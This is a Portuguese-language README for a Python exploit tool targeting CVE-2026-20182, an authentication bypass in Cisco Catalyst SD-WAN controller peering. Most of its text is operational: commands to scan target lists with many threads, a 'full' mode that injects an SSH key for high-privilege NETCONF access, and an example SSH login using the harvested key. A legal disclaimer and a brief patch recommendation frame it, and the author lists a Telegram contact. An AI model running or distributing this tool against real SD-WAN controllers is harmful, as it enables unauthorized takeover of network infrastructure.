CVE-2026-20182

Bypass de Autenticação de Peering do Cisco Catalyst SD-WAN

CVE-2026-20182 — Bypass de Autenticação de Peering do Cisco Catalyst SD-WAN

Ferramenta de avaliação para testes autorizados do bypass de autenticação de peering do Cisco Catalyst SD-WAN Controller / Manager (CVE-2026-20182).

Resumo da Vulnerabilidade

Aviso de maio de 2026: Uma falha no handshake de conexão de controle / autenticação de peering permite que um atacante remoto não autenticado bypass a autenticação e obtenha acesso interno de alto privilégio em sistemas afetados.

Um atacante envia requisições maliciosas para o sistema afetado. Em caso de sucesso, o atacante pode autenticar como uma conta interna, de alto privilégio, não-root e alcançar NETCONF, permitindo a manipulação da configuração da malha SD-WAN.

Recomendação: Aplique as correções de segurança da Cisco conforme orientação oficial do fornecedor. Restrinja a exposição do plano de gerenciamento, monitore conexões do plano de controle e audite controladores SD-WAN para alterações não autorizadas na configuração.

Contato

Telegram: @KNxploited

Pré-visualização do Console

Ferramenta: CVE-2026-20182.py

Framework de exploração em Python 3 para CVE-2026-20182 contra o vdaemon do Cisco SD-WAN (UDP/DTLS 12346).

O que faz (passo a passo)

Fallback de malha: Em TEAR_DOWN ou incompatibilidade de parâmetros, tenta presets alternativos de domínio/site (1,100), (1,1), (0,0) a menos que --no-fallback.

Níveis de Resultado (leia com atenção)

Importante

• Modo check → nível 03 no máximo (sonda de bypass). Não é prova de exploração completa.
• Modo full → objetivo é nível 01 (ssh_verified).
• https://host na lista → apenas dica web TCP (80/443). Não é UDP DTLS na 443.

Requisitos

pip install -r requirements.txt

OpenSSL (sistema)

Windows

1. Instale Win64 OpenSSL 3.x ou equivalente
2. Adicione bin\ ao PATH, ou defina:

OPENSSL_HOME=C:\Program Files\OpenSSL-Win64

Linux

# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH

A ferramenta sai na inicialização se o OpenSSL não puder ser carregado.

Início Rápido

Menu interativo (padrão)

python CVE-2026-20182.py

• Configure opções 1–11, depois 0 = INICIAR VARREDURA
• Modo de execução padrão: check (sonda de bypass segura)

Não interativo (automação)

python CVE-2026-20182.py -y

Modos de Execução

CHECK — apenas sonda de bypass

python CVE-2026-20182.py -y --mode check

FULL — injetar chave + verificar SSH (apenas alvos autorizados)

python CVE-2026-20182.py -y --mode full

Referência CLI (cada flag + exemplo)

Alvos & workers

-f / --file — lista de alvos (padrão: targets.txt)

python CVE-2026-20182.py -y -f my_controllers.txt --mode check

-t / --threads — threads workers (1–200, padrão 12)

python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check

--domain — DOMAIN_ID padrão quando não está na lista (padrão: 1)

python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check

--site — SITE_ID padrão quando não está na lista (padrão: 100)

python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full

Modo & automação

--mode — check | full

python CVE-2026-20182.py -y --mode full -f targets.txt

-y / --yes — pular menu interativo; usar apenas valores da CLI

python CVE-2026-20182.py -y -f targets.txt --mode check -t 20

Verificação SSH

--no-ssh-verify — pular teste SSH pós-injeção (não recomendado no modo full)

python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt

--verify-ssh22 — também tentar TCP 22 após 830

python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt

UDP / malha

--no-try-list-udp — apenas UDP 12346; ignorar :port da lista

python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check

--extra-udp-ports — laboratório: portas UDP extras em cada host

python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check

--no-fallback — desabilitar re-tentativa de domínio/site em TEAR_DOWN

python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full

Registro de log

-v / --verbose — registrar cada mensagem TX/RX do protocolo

python CVE-2026-20182.py -y -v -f targets.txt --mode check

Menu Interativo (quando -y é omitido)

Formato do targets.txt

Um alvo por linha. Linhas começando com # são ignoradas.

Arquivo de exemplo

# Controladores de laboratório — apenas autorizados
10.10.10.1
10.10.10.2:12346:1:100
https://sdwan-controller.example.com
10.10.10.4:12346:1:1

Não suportado: IPv6 (apenas IPv4 / hostname).

Arquivos de Saída

Exemplo de comando SSH (nível 01)

ssh -i "sdwan_keys/sdwan_10_10_10_1_12346_d1_s100.pem" [email protected] -p 830 -N

Fluxos de Trabalho Recomendados

1) Triagem de muitos hosts (rápido)

python CVE-2026-20182.py -y -f targets.txt --mode check -t 24

Revise cisco_sdwan_03_bypass_only.jsonl e estatísticas ao vivo Apenas Bypass.

2) Confirmar exploração em hosts pré-selecionados

python CVE-2026-20182.py -y -f confirmed_hosts.txt --mode full -t 8

Revise cisco_sdwan_01_confirmed_ssh.jsonl — único arquivo com ssh_verified: true.

3) Depurar host único (verboso)

python CVE-2026-20182.py -y -f single.txt --mode full -t 1 -v --no-fallback

Telemetria ao Vivo (durante a varredura)

Notas Operacionais

• Modo padrão é check — não escreve chaves nem prova SSH por si só.
• Sucesso real = ssh_verified=true no modo full apenas.
• Corrigido / malha errada → frequentemente TEAR_DOWN após CHALLENGE_ACK; ative fallback de malha ou corrija domínio/site na lista.
• Firewall deve permitir UDP/12346 (e quaisquer portas UDP extras da lista) do seu scanner para o controlador.
• Não faça commit de sdwan_keys/ ou resultados de varredura em repositórios públicos.

Aviso Legal

Este software é apenas para pesquisa de segurança autorizada, avaliação defensiva e educação.

Você deve ter permissão explícita por escrito para testar qualquer sistema que não possua ou opere. Acesso não autorizado a sistemas de computador é ilegal. O autor não é responsável por uso indevido, danos ou consequências legais decorrentes do uso desta ferramenta.

Use apenas em sistemas e redes onde você está explicitamente autorizado a realizar testes de segurança.

Por: Nxploited ( Khaled Alenazi )